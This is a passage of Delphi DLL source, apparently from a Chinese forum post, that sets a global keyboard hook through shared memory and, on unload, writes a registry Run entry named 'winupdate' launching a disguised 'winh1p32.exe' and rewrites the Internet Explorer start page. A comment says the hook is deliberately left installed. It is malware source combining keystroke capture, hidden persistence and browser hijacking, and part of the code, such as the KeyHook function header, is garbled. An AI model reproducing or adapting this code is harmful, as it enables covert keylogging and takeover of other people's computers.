type
  TShared = record
    KeyHook:HHook;
    Moudle :THandle;
  end;
  PShared = ^TShared;
var
  MemFile: THandle;
  Shared: PShared;

{撤消鉤子過濾函數}
function UninstallHook: Boolean;
begin
  Freelibrary(Shared^.Moudle);
  Result := UnHookWindowsHookEx(Shared^.KeyHook); 
  UnmapViewOfFile(Shared);
  CloseHandle(memFile);
end;


function KeyHook  Shared^.KeyHook := SetWindowsHookEx(WH_KEYBOARD,
                             @KeyHookProc,
                           Shared^.Moudle,
                                       0);
  if Shared^.KeyHook = 0 then
  begin
    Result := False;
    Exit;
  end;
  Result := true;
end;


// 以下為寫注冊表部分,在下定義了一個函數
procedure writeregedit(cCustomLog,var1,var2:pchar);
var
  size: integer;
  s: string;
  TempKey: HKEY;
  fDisposition: pointer;
begin
  fDisposition := nil;
      if RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                       cCustomLog,
                       0,
                       nil,
                       REG_OPTION_NON_VOLATILE,
                       KEY_WRITE,
                       nil,
                       TempKey,
                       fDisposition)= ERROR_SUCCESS
                       then begin
         RegSetValueEx (TempKey,
                         var1,
                         0,
                         REG_SZ,
                         var2,
                        length(var2));

                       end;
  RegCloseKey(TempKey);
end;


procedure DllEntry(dwReason : integer);
begin
  case dwReason Of

// DLL導入進程時
    DLL_PROCESS_ATTACH:
      begin
        MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
        if MemFile = 0 then
          MemFile := CreateFileMapping($FFFFFFFF,nil,
            PAGE_READWRITE,
            0,
            SizeOf(TShared),
            HOOK_MEM_FILENAME);
        Shared := MapViewOfFile(MemFile,
          File_MAP_WRITE,
          0,
          0,
          0);
// 加載鉤子
        InstallHook;
      end;
    DLL_PROCESS_DETACH:
      begin
        writeregedit('SOFTWARE/Microsoft/Windows/CurrentVersion/Run','winupdat
e','c:/windows/winh1p32.exe');
        writeregedit('SOFTWARE/Microsoft/internet explorer/main','start page',
'http://www.iou.com');

// 我不想此時卸載鉤子
//      UninstallHook;
      end;
    else;
  end;
end;


exports
  InstallHook;

begin
  DllProc := @DllEntry;
  DllEntry(DLL_PROCESS_ATTACH);
end.

暈了: 

今天有點累,注解未完之處以后補上吧.附:網站快要申請了,到時貼上所有源碼^_^